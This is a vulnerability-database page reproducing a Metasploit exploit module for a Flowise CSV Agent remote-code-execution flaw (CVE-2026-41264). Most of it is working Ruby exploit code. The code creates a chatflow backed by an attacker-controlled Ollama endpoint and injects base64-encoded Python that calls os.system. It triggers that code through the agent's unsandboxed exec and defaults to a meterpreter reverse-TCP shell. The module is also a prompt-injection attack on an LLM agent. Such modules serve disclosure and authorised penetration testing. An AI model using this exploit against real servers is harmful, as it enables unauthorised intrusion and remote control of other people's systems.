Lucene search
K

Flowise CSV Agent Prompt Injection RCE

🗓️ 01 Jul 2026 19:04:30Reported by zdi-disclosures, Takahiro YokoyamaType 
metasploit
 metasploit
🔗 www.rapid7.com👁 96 Views

Flowise CSV Agent RCE lets remote attackers run unsandboxed LLM Python scripts; no auth required.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Flowise
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Flowise CSV Agent Prompt Injection RCE',
        'Description' => %q{
          This vulnerability allows remote attackers to execute arbitrary code on affected installations of FlowiseAI Flowise.
          Authentication is not required to exploit this vulnerability.

          The specific flaw exists within the run method of the CSV_Agents class.
          The issue results from the lack of proper sandboxing when evaluating an LLM generated python script.
          An attacker can leverage this vulnerability to execute code in the context of the user running the server.
        },
        'Author' => [
          'zdi-disclosures',  # Vulnerability discovery
          'Takahiro Yokoyama' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-41264'],
          ['GHSA', '3hjv-c53m-58jj']
        ],
        'Platform' => %w[unix linux win],
        'Arch' => [ ARCH_CMD ],
        'Payload' => {
          'BadChars' => "'"
        },
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
              }
            }
          ],
          # not tested
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'DisclosureDate' => '2026-04-22',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 3000,
          'FETCH_DELETE' => true
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ]
        }
      )
    )

    register_options([
      OptString.new('APIKEY', [ true, 'Flowise API Key (chatflows:create permission required)']),
      OptString.new('OLLAMAAPIURI', [ true, 'Endpoint of the OLLAMA API controlled by an attacker']),
      OptString.new('MODEL', [ true, 'Valid ollama model name']),
    ])
  end

  def check
    version = flowise_get_version
    return CheckCode::Unknown('Could not retrieve Flowise version.') unless version

    return CheckCode::Appears("Flowise version #{version} detected") if version.between?(Rex::Version.new('1.3.0'), Rex::Version.new('3.0.13'))

    CheckCode::Safe("Flowise version #{version} detected")
  end

  def exploit
    # create chatflow
    flow = exploit_data('CVE-2026-41264', 'cve_2026_41264.json')
    flow = flow.gsub('__NAME__', rand_text_alphanumeric(8))
    flow = flow.gsub('__MODELNAME__', datastore['MODEL'])
    flow = flow.gsub('__OLLAMAAPIURI__', datastore['OLLAMAAPIURI'])
    flow = flow.gsub('__PAYLOAD__', Rex::Text.encode_base64("pythoncode\nimport os as pandas;pandas.system('#{payload.encode}')"))
    flow = flow.gsub('__FILENAME__', rand_text_alphanumeric(8) + '.csv')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/v1/chatflows'),
      'headers' => {
        'Authorization' => "Bearer #{datastore['APIKEY']}"
      },
      'ctype' => 'application/json',
      'data' => flow
    })
    fail_with(Failure::Unknown, 'Failed to create a chatflow.') unless res&.code == 200
    @id = res&.get_json_document&.[]('id')
    fail_with(Failure::Unknown, 'Failed to retrieve a chatflow id.') unless @id

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "api/v1/prediction/#{@id}"),
      'headers' => {
        'Authorization' => "Bearer #{datastore['APIKEY']}"
      },
      'ctype' => 'application/json',
      'data' => {
        'question' => 'exec(df["pythoncode"].iloc[0])'
      }.to_json
    })
  end

  def cleanup
    super
    if @id
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri, "api/v1/chatflows/#{@id}"),
        'method' => 'DELETE',
        'headers' => {
          'Authorization' => "Bearer #{datastore['APIKEY']}"
        }
      })
      print_status('Failed to delete chatflow. Lack of chatflows:delete permission?') unless res&.code == 200
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jul 2026 19:05Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.19.8
CVSS 49.2
EPSS0.01028
SSVC
96